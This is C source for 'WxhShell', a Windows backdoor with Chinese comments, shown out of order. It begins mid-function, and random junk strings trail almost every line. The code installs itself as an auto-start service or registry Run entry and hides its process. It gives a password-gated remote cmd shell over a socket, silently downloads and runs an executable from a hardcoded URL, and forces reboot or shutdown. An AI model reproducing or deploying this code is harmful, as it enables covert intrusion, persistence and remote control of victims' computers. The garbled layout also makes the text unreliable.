    send(wsh,msg_ws_err,strlen(msg_ws_err),0); eTa_RO,x  
    else { y|6n:<o  
    closesocket(wsh); [<#j K}g  
    ExitThread(0); VvyRZMR  
    } Y)1/f EM  
    break; y0d=  
    } efXnF*Z  
  // 获取shell iwK.*07+  
  case 's': { ..} P$  
    CmdShell(wsh); 1p}H,\o  
    closesocket(wsh); ]I\GnDJ^  
    ExitThread(0); mXRkR.zu+  
    break; CVfV    
  } ZM.'W}J{ *  
  // 退出 Pf[E..HF*d  
  case 'x': { f;{Q ~  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); ?@rd,:'dE  
    CloseIt(wsh); 3YvKHn|V"  
    break; \V>5)R n  
    } .?45:Ey~g  
  // 离开 "#~>q(4^  
  case 'q': { iJzBd7  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); Y*NzY*V\  
    closesocket(wsh); $%~ JG(  
    WSACleanup(); Vf cIR(  
    exit(1); \l59/ZFan  
    break; )pHtsd.eP  
        } : "85w#r  
  } sy"}25s  
  } cXb*d|-|N  
36=aahXd\  
  // 提示信息 u9!  ?  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); @"7S$@cO  
} <A,V/']  
  } hP"2X"kz&  
~XOmxz0  
  return; G=:/v  
} IXy6Yn9l  
joe)b  
// shell模块句柄 %66="1z0@  
int CmdShell(SOCKET sock)  i;O_B5 d  
{ yx]9rD1cz  
STARTUPINFO si; <X)\P}"L4  
ZeroMemory(&si,sizeof(si)); tpJA~!mG3  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 4LTm&+(5  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; zZ%[SW&vC  
PROCESS_INFORMATION ProcessInfo; UA$IVK&{  
char cmdline[]="cmd"; nm5DNpHk  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 6}6Q:V|  
  return 0; JQ%hh&M\0  
} .y s_'F-]0  
WGv47i  
// 自身启动模式 \ptO4E  
int StartFromService(void) R%jOgZG  
{ (  cs  
typedef struct Ih.+-!w  
{ uyYV_Q0~;  
  DWORD ExitStatus; V}s/knd  
  DWORD PebBaseAddress; :BPgDLL,  
  DWORD AffinityMask; (%B{=w}8  
  DWORD BasePriority; @AZNF+ \W$  
  ULONG UniqueProcessId; tc'iKJ5)  
  ULONG InheritedFromUniqueProcessId; \foThLx  
}   PROCESS_BASIC_INFORMATION; _WZx].|A=  
64u(X^i  
PROCNTQSIP NtQueryInformationProcess; @7nZjrH  
Lp&nO  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; )E.AY  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; xrg"/?84  
z/J?!ee  
  HANDLE             hProcess; \ *t\=4  
  PROCESS_BASIC_INFORMATION pbi; QGpj$ _b  
ZH Q?{"  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); <W0(!<U  
  if(NULL == hInst ) return 0; 4FaO+Eo,8  
+v B}E  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); <SNr\/aCRi  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); x"z\d,O%W  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); D|zuj]  
8ae`V!5  
  if (!NtQueryInformationProcess) return 0; qArR5OJ  
%NkiYiA  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); QP'sS*saJ  
  if(!hProcess) return 0; #m U\8M,  
)|=1;L  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; \ aJ>?   
X`g<"Ka  
  CloseHandle(hProcess); 5,;\zSz  
eX"%b(;s  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); /H<{p$Wd  
if(hProcess==NULL) return 0; Cj>HMB}  
j& 7>ph  
HMODULE hMod; /kGWd9ujF  
char procName[255]; --]blP7  
unsigned long cbNeeded; ;}Jv4Z  
+k6` tl~*  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); mPA)G,^  
$'\kK,=  
  CloseHandle(hProcess); 5 SQ!^1R 9  
% i?  
if(strstr(procName,"services")) return 1; // 以服务启动 (*A@V%H  
.M:&Aj)x16  
  return 0; // 注册表启动 +j: &_  
} pBAAwHD  
R_j.k3r4d  
// 主模块 ?sHZeWZ(  
int StartWxhshell(LPSTR lpCmdLine) i5r<CxS  
{ UI=v| <'-  
  SOCKET wsl; _7N?R0j^9N  
BOOL val=TRUE; :NLY;B`  
  int port=0; /cClV"S*G  
  struct sockaddr_in door; F(1E@xs  
S<(i/5Z+  
  if(wscfg.ws_autoins) Install(); d\qszYP[  
EF&CV{Sw  
port=atoi(lpCmdLine); E0qJ.v  
3sV$#l P  
if(port<=0) port=wscfg.ws_port; =RUy4+0>F  
6`2i'flv  
  WSADATA data; FqJd  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; qVU<jt  
O\7x+^.  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   Q7u|^Gu,5  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); %rB,Gl:)g  
  door.sin_family = AF_INET; \r aP  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); pOK=o$1V8  
  door.sin_port = htons(port); 1o5kP,)  
to13&#o  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { MY{Kq;FvRP  
closesocket(wsl); _*}D@yy&  
return 1; ty!DMg#  
} <nJGJ5JJ  
dZ" }wKbO  
  if(listen(wsl,2) == INVALID_SOCKET) { n%h00 9 -5  
closesocket(wsl); trwo(p  
return 1; )Fd)YJVR  
} ;PVE= z+y  
  Wxhshell(wsl); 1<h@ ^s;  
  WSACleanup(); G l/3*J  
oG22;  
return 0; dDiy_Q6  
^XyC[ G@[  
} \Uh/(q7  
>l}v _k*~B  
// 以NT服务方式启动 "o%okN  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) f`vWCb  
{ >mQD/U  
DWORD   status = 0; mr[1F]G  
  DWORD   specificError = 0xfffffff; 0<A*I{,4L  
fC"? r6d  
  serviceStatus.dwServiceType     = SERVICE_WIN32; *#p}FB2H#  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; j}lne^ h  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; !]"M]tyv\  
  serviceStatus.dwWin32ExitCode     = 0; ZLaht(`+  
  serviceStatus.dwServiceSpecificExitCode = 0; `?&C5*P  
  serviceStatus.dwCheckPoint       = 0; "pX|?ap  
  serviceStatus.dwWaitHint       = 0; Lniz>gSc  
V#599-  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 0XE6H w  
  if (hServiceStatusHandle==0) return; O 8l`1  
Y)8 Py1}  
status = GetLastError(); XR=ebl  
  if (status!=NO_ERROR) 5a6d3u/  
{ !*^+7M  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; e}gGl<((g  
    serviceStatus.dwCheckPoint       = 0; (CDh,ZN;|  
    serviceStatus.dwWaitHint       = 0; =s AOWI,8!  
    serviceStatus.dwWin32ExitCode     = status; 7F]oK0l_  
    serviceStatus.dwServiceSpecificExitCode = specificError; -iy17$  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); }K.)yv n  
    return; P2>_qyX  
  } >]Mhkf/=)  
Ye^#]%m  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; Yh,,(V6  
  serviceStatus.dwCheckPoint       = 0; aEUEy:.  
  serviceStatus.dwWaitHint       = 0; heES [  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); f U<<GK70  
} % T$!I(L&  
fuf' r>1n  
// 处理NT服务事件,比如:启动、停止 " u]X/ {L  
VOID WINAPI NTServiceHandler(DWORD fdwControl) }lkU3Pf1U  
{ A;xH{vo{  
switch(fdwControl) s z7<u|  
{ {Y+e|B0  
case SERVICE_CONTROL_STOP: 4\U"e*  
  serviceStatus.dwWin32ExitCode = 0; gW G>}M@  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; \= 6dF,V  
  serviceStatus.dwCheckPoint   = 0; x;JC{d#  
  serviceStatus.dwWaitHint     = 0; x 'i~o'  
  { Kr<a6BEv5  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ;Uypv|xX  
  }  fsKZ  
  return;  ^AwDZX  
case SERVICE_CONTROL_PAUSE: @ uL4'@Ej  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; 9$sx+=(  
  break; [2!?pVI  
case SERVICE_CONTROL_CONTINUE: *[3tGiUJ  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; fn//j7 j  
  break; F{&0(6^p!  
case SERVICE_CONTROL_INTERROGATE: x;&iLQZh  
  break; ]o9^?iU]  
}; ){J,Z*&  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); uq!d8{IMu  
} K?S5C8  
hs)_h^P   
// 标准应用程序主函数 fQfd1=4  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) !&G& ~*.x  
{ GKXd"8z]  
{bNKyT  
// 获取操作系统版本 )"bP]t^_  
OsIsNt=GetOsVer(); 2G/CN"  
GetModuleFileName(NULL,ExeFile,MAX_PATH); @oRo6Y<-  
f2P2wt.$  
  // 从命令行安装 n~yhX%=_Du  
  if(strpbrk(lpCmdLine,"iI")) Install(); ! M7727  
Coe%R(x5  
  // 下载执行文件 )k 6z  
if(wscfg.ws_downexe) { r[nvgzv@  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) O3L:v{Kn  
  WinExec(wscfg.ws_filenam,SW_HIDE); GZiN&}5e  
} 0@jhNtL  
3jM+j_n R  
if(!OsIsNt) { $Ehe8,=fj  
// 如果时win9x,隐藏进程并且设置为注册表启动 dEoW8 M#  
HideProc(); ' '|R$9\@  
StartWxhshell(lpCmdLine); !y;xt?  
} /:w.Zf>B9  
else G $iC@,/  
  if(StartFromService()) V(!-xu1,  
  // 以服务方式启动 )K 0rPnYV  
  StartServiceCtrlDispatcher(DispatchTable); 8{%[|Ye  
else ?h-:,icR  
  // 普通方式启动 $2v{4WP7G  
  StartWxhshell(lpCmdLine); Y7@$#/1  
]%6XE)  
return 0; <`=(Ui$fD  
} O&PrO+&  
jW.IkG[|  
$@ZrGT  
MM/D5g  
=========================================== *46hw(L  
UNescZ  
U=KFbL1Q  
X_J(P?  
$-BM`Zt0;  
[G}l;  
" k%sh ;1.  
uRRp8hht  
#include <stdio.h> $mDlS  
#include <string.h> OO?BN!  
#include <windows.h> _Dg|Iz,Uh  
#include <winsock2.h> tq8rG@-C  
#include <winsvc.h> 2)R*d  
#include <urlmon.h> 0bI} s`sr  
y[~w2a&+  
#pragma comment (lib, "Ws2_32.lib") l%xjCuuhU  
#pragma comment (lib, "urlmon.lib") gY!#=?/S  
,gbQqoLV  
#define MAX_USER   100 // 最大客户端连接数 j |:{ B  
#define BUF_SOCK   200 // sock buffer =7%c*O <  
#define KEY_BUFF   255 // 输入 buffer A}(Q^|6  
\9jvQV/y  
#define REBOOT     0   // 重启 uY$BZEuAZ  
#define SHUTDOWN   1   // 关机 rTYMN  
^yVKW5x  
#define DEF_PORT   5000 // 监听端口 +FlO_=Bu  
-x0u}I  
#define REG_LEN     16   // 注册表键长度 fpPHw)dTd  
#define SVC_LEN     80   // NT服务名长度 NR0fxh  
8\_YP3  
// 从dll定义API {);<2]o| 6  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); ~e<h2/Xc  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); }>~]q)]  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); LRmH@-qP  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); 4A~1Z,"%v(  
DH{^9HK  
// wxhshell配置信息 ycSC'R  
struct WSCFG { Yuqt=\? #  
  int ws_port;         // 监听端口 xa|/P#q  
  char ws_passstr[REG_LEN]; // 口令 zQyt1&!  
  int ws_autoins;       // 安装标记, 1=yes 0=no H D{2nZT  
  char ws_regname[REG_LEN]; // 注册表键名 KMogwulG  
  char ws_svcname[REG_LEN]; // 服务名 {Z{!tR?+  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 =?gDM[t^  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 B|6_4ry0U  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 QwgP+ M+  
int ws_downexe;       // 下载执行标记, 1=yes 0=no "1%YtV5R{  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" V /,F6  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 N3QDPQ  
*Bm _  
}; w>Y!5RnO  
&Uu8wFbIJ  
// default Wxhshell configuration :7jDgqn^|i  
struct WSCFG wscfg={DEF_PORT, ;-!j,V+$h  
    "xuhuanlingzhe", I<^&~==  
    1, %cFqD &6  
    "Wxhshell", O7D61~G]  
    "Wxhshell", ;dE'# Kb  
            "WxhShell Service", ;ax%H @o  
    "Wrsky Windows CmdShell Service", z)U/bjf  
    "Please Input Your Password: ", Y>2kOE  
  1, Yl0_?.1 z  
  "http://www.wrsky.com/wxhshell.exe", F{"4cyoou  
  "Wxhshell.exe" )r.4`5Rc  
    }; QO(P_az3mg  
LyA}Nd]pyq  
// 消息定义模块 o!>h Q#h  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; ^ woCwW8n  
char *msg_ws_prompt="\n\r? for help\n\r#>"; tunjV1 ,]  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; 86 <[!ZM  
char *msg_ws_ext="\n\rExit."; -"MB(`  
char *msg_ws_end="\n\rQuit."; }0z]sYI  
char *msg_ws_boot="\n\rReboot..."; t }q \.  
char *msg_ws_poff="\n\rShutdown..."; AI\|8[kf0  
char *msg_ws_down="\n\rSave to "; we;QrS(Hi  
:o+&>z  
char *msg_ws_err="\n\rErr!"; 19.oW49Sw  
char *msg_ws_ok="\n\rOK!"; N=@Nn)  
97SOa.@  
char ExeFile[MAX_PATH]; q}0xQjpo  
int nUser = 0; @<,YUp,%S  
HANDLE handles[MAX_USER]; b'$fr6"O1  
int OsIsNt; p`2w\P3;)  
s(MLBV5)w  
SERVICE_STATUS       serviceStatus; 0s'H(qE,_  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; vo JmNH  
mx;1'!'fr  
// 函数声明 MclW!CmJ  
int Install(void); rwSmdJ~  
int Uninstall(void); h k.Zn.6A'  
int DownloadFile(char *sURL, SOCKET wsh); |;k@Zlvc  
int Boot(int flag); oZSPdk  
void HideProc(void); a1yGgT a?D  
int GetOsVer(void); }10ZPaHjl+  
int Wxhshell(SOCKET wsl); 0$A7"^]  
void TalkWithClient(void *cs); %RX}sS  
int CmdShell(SOCKET sock); +Ssu^ >D  
int StartFromService(void); tEE4"OAy  
int StartWxhshell(LPSTR lpCmdLine); G~N$bF^R)  
*N!>c&8  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); ?3|jB?:k  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); 0;  BX  
X[r\ Qa  
// 数据结构和表定义 '|^<|S_+K  
SERVICE_TABLE_ENTRY DispatchTable[] = nht?58  
{ 2~(\d\k  
{wscfg.ws_svcname, NTServiceMain}, E[2>je  
{NULL, NULL} E[kf%\  
}; (Y>|P  
pRrokYM d  
// 自我安装 wseb]=U  
int Install(void) k1HVvMD<  
{ dD.;P=AP  
  char svExeFile[MAX_PATH]; "Q <  
  HKEY key; E\lel4ai  
  strcpy(svExeFile,ExeFile); t],5{UF  
jNu`umS  
// 如果是win9x系统,修改注册表设为自启动 Lx#CFrLQ*  
if(!OsIsNt) { .R5(k'g?  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { LOX}  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ^a{cK  
  RegCloseKey(key); LZF %bJv  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { $zv&MD!&h  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); nTQ&nu!  
  RegCloseKey(key); 0AWOdd>.  
  return 0; i^2-PKPg{  
    } \PJpy^i  
  } |];f?1  
} vn Ol-`Z ~  
else { W34_@,GD  
.&2Nm&y$ K  
// 如果是NT以上系统,安装为系统服务 .5K}R<  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); Lk>o`<*  
if (schSCManager!=0) ~"8D]  
{ 3L1MMUACL  
  SC_HANDLE schService = CreateService !5zDnv  
  ( F*rsi7#!pG  
  schSCManager, -}$mv  
  wscfg.ws_svcname, a7Yz X5n  
  wscfg.ws_svcdisp, {$fd?| 9h  
  SERVICE_ALL_ACCESS, yZcnky  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , lZ>j:/R8^&  
  SERVICE_AUTO_START, ngI3.v/R  
  SERVICE_ERROR_NORMAL, cypb 6Q_  
  svExeFile, S2,tv  
  NULL, [oS4W P  
  NULL, v| Yh]y  
  NULL, {Ne5*HFV  
  NULL, _(1Shm  
  NULL HBp$   
  ); <7 R+p;y  
  if (schService!=0) ayK?\srw  
  { q\]"}M 8  
  CloseServiceHandle(schService); vn(ji=  
  CloseServiceHandle(schSCManager); }Md5a%s<  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); %]1.)j  
  strcat(svExeFile,wscfg.ws_svcname); vtu!* 7m  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { Y6w7sr_R  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); Wv7hY"  
  RegCloseKey(key); iPeW;=-2Wk  
  return 0; [8v>jQ)  
    } Um2RLM%  
  } _6!@>`u~  
  CloseServiceHandle(schSCManager); &$L6*+`h#  
} G%FLt[  
} S\"#E:A  
V''?kVJ  
return 1; #Bo3 :B8  
} (N[R`LN  
/{71JqFis  
// 自我卸载 }8&?  
int Uninstall(void) _-c1" Kl  
{ \h48]ZjC`  
  HKEY key; \qZ>WCp>r  
[ @ASAhV^+  
if(!OsIsNt) { I3,0vnE@  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { mIh >8))E  
  RegDeleteValue(key,wscfg.ws_regname); #ni:Bwtl{  
  RegCloseKey(key); Da-U@e!  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { M7gb3gw6  
  RegDeleteValue(key,wscfg.ws_regname); [M/0Qx[,  
  RegCloseKey(key); Kv ~'*A)d  
  return 0; K=N8O8R$y  
  } Zgw4[GpL  
} T-a [  
} =)YDjd_=z  
else { B]#^&89wG)  
$w+()iI  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); K3xt,g  
if (schSCManager!=0) \]|(w*C  
{ KD^n7+w%  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); Y. Uca<{.[  
  if (schService!=0) vw w>]Z}  
  { P{+,?X\  
  if(DeleteService(schService)!=0) { ?M B Od9  
  CloseServiceHandle(schService); x T1MW  
  CloseServiceHandle(schSCManager); 6Wk9"?+1  
  return 0; J;*2[o.N  
  } XIBm8IkF  
  CloseServiceHandle(schService); J b?x-%Za  
  } ~?z u5,vb  
  CloseServiceHandle(schSCManager); YVLK X}$)(  
} ~FnuO!C  
} uNf97*~_  
#`@5`;U>#  
return 1; oq9gFJG(  
} hdDL92JVg  
B|ctauJ  
// 从指定url下载文件 3$4I  
int DownloadFile(char *sURL, SOCKET wsh) uaqV)H  
{ `_e5pW=:>  
  HRESULT hr; %$'Z"njO&  
char seps[]= "/"; I#/"6%e  
char *token; 1h3`y  
char *file; "2ZuI; w  
char myURL[MAX_PATH]; 1EWskmp  
char myFILE[MAX_PATH]; xbz O' C  
PQ2rNY6  
strcpy(myURL,sURL); C6A!JegU  
  token=strtok(myURL,seps); 8&SW Q  
  while(token!=NULL) U>0bgL  
  { NAX`y2z  
    file=token; S2 MJb  
  token=strtok(NULL,seps); :A+}fB IN  
  } WsW]  1p  
"dHo6CT,y_  
GetCurrentDirectory(MAX_PATH,myFILE); VNwOD-b/]  
strcat(myFILE, "\\"); e_}tK1XY  
strcat(myFILE, file); CYYo+5x  
  send(wsh,myFILE,strlen(myFILE),0); :}CcWfbT  
send(wsh,"...",3,0); y1B' _s  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); (5 e4>p&+  
  if(hr==S_OK) @w(X}q1  
return 0; qfqL"G  
else fo~>y  
return 1; ?3gf)g=  
F{Oaxn  
} 4'"WD0  
OVGB7CB]S  
// 系统电源模块 /4;Sxx-  
int Boot(int flag) e?pQuF~  
{ T1%}H3  
  HANDLE hToken; `A<2wd;  
  TOKEN_PRIVILEGES tkp; T^q^JOC4  
%<`sDO6Q?  
  if(OsIsNt) { Ii!{\p!  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); JAy-N bb\  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); ^].U?t.n)  
    tkp.PrivilegeCount = 1; VO~%O.>  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; }*S`1IWMj  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); `dhBLAt  
if(flag==REBOOT) { WM7LCP  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 7>h(M+ /  
  return 0; X^rFRk  
} @"H7Q1Hg!*  
else { ^$]iUb{\  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) OI kjO}/7  
  return 0; WJk3*$=  
} x~F YG  
  } VQ8Fs/Zt!  
  else { =Y*@8=V  
if(flag==REBOOT) { Gl"hn  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) c}s#!|E0v  
  return 0; Wiw~oXo  
} +S'm<}"1  
else { +VL:O]`DJ  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) TpI8mDO\W  
  return 0; >v f-,B  
} DK20}&RQ  
} CR;E*I${  
""Oir!4  
return 1; VVcli*  
} nW<nOKTnk_  
uG/'9C6Z  
// win9x进程隐藏模块 <~aKwSF[wW  
void HideProc(void) zF|c3ap  
{ RJKi98xwJ  
R / ND f`  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); PF#<CF$=  
  if ( hKernel != NULL ) %m [l/,2x  
  {  \< dg  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); ";7/8(LBZ  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); rz&'wCiOO  
    FreeLibrary(hKernel); apt$e$g  
  } ~gHn>]S0  
L=fy!R  
return; 5<Uh2c  
} HXC\``E  
pvb&vtp  
// 获取操作系统版本 r;"D>IM\  
int GetOsVer(void) m*YfbOhs#  
{ FnI}N;"  
  OSVERSIONINFO winfo; #)@#Qd  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); kR:kn:  
  GetVersionEx(&winfo); &5XEjY>@  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) =qpGAv_#  
  return 1; k+*pg4 '  
  else |QMmF"0  
  return 0; `& '{R<cL  
} #9 Fk&Lx  
UFu0{rY_  
// 客户端句柄模块 q2'}S A/  
int Wxhshell(SOCKET wsl) o|q5eUh=EY  
{ gs=ok8w  
  SOCKET wsh; |"S#uJW  
  struct sockaddr_in client; <QC7HR  
  DWORD myID; gK@`0/k{  
uqU&k@  
  while(nUser<MAX_USER) :I7mM y*  
{ ]9)iBvQlj  
  int nSize=sizeof(client); /GM!3%'=  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); #:P$a%V  
  if(wsh==INVALID_SOCKET) return 1; AzSu_  
-iY-rzW  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); \13Q>iAu  
if(handles[nUser]==0)  "\T-r2  
  closesocket(wsh); (6NDY5h~=n  
else JbJ!,86  
  nUser++; Bha("kG  
  } H V-;? 5  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); [CfZE  
*OdmKVw6G  
  return 0; _+nk3-yQw  
} _`O",Ff  
UKV<Ye|  
// 关闭 socket mqHH1}  
void CloseIt(SOCKET wsh) WVhQ?2@}  
{ !Ur.b @ke  
closesocket(wsh); BD;T>M  
nUser--; cWZ uph\  
ExitThread(0); tm1&OY  
} u\= 05N6G  
Otx>S' 5  
// 客户端请求句柄 <[-{:dH,5  
void TalkWithClient(void *cs) I)vR  
{ Z 4i5,f  
],[<^=|  
  SOCKET wsh=(SOCKET)cs; , V,Q(!$F  
  char pwd[SVC_LEN]; TBQ68o  
  char cmd[KEY_BUFF]; D`!BjhlW  
char chr[1]; q_`j-!  
int i,j; !bCL/[  
=nc;~u|]  
  while (nUser < MAX_USER) { 3c7i8b$  
AXte&l=M  
if(wscfg.ws_passstr) { o<txm?+N  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); P0(LdZH6u  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 9}a$0H h  
  //ZeroMemory(pwd,KEY_BUFF); vnVT0)Lel  
      i=0; ` - P1Y  
  while(i<SVC_LEN) { hGw}o,g  
`q* p-Ju'  
  // 设置超时 V*fv>f:Yv  
  fd_set FdRead; L(cKyg[R  
  struct timeval TimeOut; KS$"Re$  
  FD_ZERO(&FdRead); UcD<vg"p  
  FD_SET(wsh,&FdRead); e1E_$oJP  
  TimeOut.tv_sec=8; 9ZU^([@D  
  TimeOut.tv_usec=0; vqQ)Pu?T  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); S ~h*U2  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); febn?|@  
gp{C89gP  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); YEaT_zWG0  
  pwd=chr[0]; $ (xdF  
  if(chr[0]==0xd || chr[0]==0xa) { H lM7^3(&  
  pwd=0; ~Js kA5h|&  
  break; cuumQQ  
  } rO.[/#p\  
  i++; ]Q0bL  
    } %xG<hNw/  
nh5=0{va|L  
  // 如果是非法用户,关闭 socket _izjvg  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); g] }!  
} IQtQf_"e1  
{r;_nMfH|[  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); kRwUR34yc  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); hDSf>X_*_G  
f~Pce||e  
while(1) { 7}~w9jK"F  
[ 't.x=  
  ZeroMemory(cmd,KEY_BUFF); yhbU;qEG9  
Jq(;BJ90R  
      // 自动支持客户端 telnet标准   5Rs#{9YE  
  j=0; N[\J#x!U  
  while(j<KEY_BUFF) { czu9a"M>X  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); SpU|Q1Q/h  
  cmd[j]=chr[0]; :Z2997@Y  
  if(chr[0]==0xa || chr[0]==0xd) { @#N7M2/  
  cmd[j]=0; PWx%~U.8~j  
  break; #|(>UM\  
  } Z : xb8]y  
  j++; G'}N?8s1  
    } dL'oKh,  
|?{V-L  
  // 下载文件 +y'2 h%>h[  
  if(strstr(cmd,"http://")) { cAwqIihZ  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); nh@JGy*L  
  if(DownloadFile(cmd,wsh)) 0x5Ax=ut  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); j\bp# +  
  else $H)!h^7^9  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); )$i,e`T   
  } ilJ`_QN  
  else { aZ_3@I{d`  
r5nHYV&7  
    switch(cmd[0]) { C"**>OGe  
  + jwk4BU  
  // 帮助 `|Di?4+6%  
  case '?': { #|Lsi`]+  
